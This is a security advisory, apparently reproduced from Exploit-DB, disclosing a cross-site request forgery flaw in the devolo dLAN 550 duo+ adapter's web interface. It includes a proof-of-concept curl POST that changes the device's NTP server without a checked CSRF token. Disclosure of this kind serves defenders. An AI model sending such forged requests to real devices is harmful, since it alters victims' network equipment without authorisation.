devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery

vendor:

Devolo dLAN 550 duo+ Starter Kit

by:

Stefan Petrushevski aka sm

N/A

CVSS

N/A

Cross-Site Request Forgery

352

CWE

Product Name: Devolo dLAN 550 duo+ Starter Kit

Affected Version From: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Linux

2017

devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery

The web application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. The devolo web application uses predictable URL/form actions in a repeatable way. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implement proper validation and verification of HTTP requests to prevent Cross-Site Request Forgery attacks.

Source

Exploit-DB raw data:

devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery


Vendor: devolo AG
Product web page: https://www.devolo.com
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is
a cost-effective and helpful networking alternative for any location
without structured network wiring. Especially in buildings or residences
lacking network cables or where updating the wiring would be expensive
and complicated, Powerline adapters provide networking at high transmission
rates.

Desc: The web application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. The
devolo web application uses predictable URL/form actions in a repeatable way.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.31


Vulnerability discovered by Stefan Petrushevski aka sm
                            @zeroscience


Advisory ID: ZSL-2019-5507
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5507.php


04.10.2017

--

curl -i -s -k  -X 'POST' \
    -H 'Origin: http://DEVOLO-IP' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://DEVOLO-IP/cgi-bin/htmlmgr?_file=%2Fwgl%2Fmain.wgl&_sid=&_style=std&_lang=&_dir=expert&_page=time' \
    --data-binary $'%3Asys%3ANTPClient.EnableNTP=on&%3Asys%3ANTPClient.NTPServer=waddup.com&%3Asys%3ANTPClient.GMTOffset=%2B01%3A00&%3Asys%3ANTPClient.AutoDaylightSaving=on&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=expert&_page=time&_idx=&_sid=&_csrf=' \
    'http://DEVOLO-IP/cgi-bin/htmlmgr'

Even though there is a '_csrf' parameter that is being submited, it is never checked (nor it contains any value)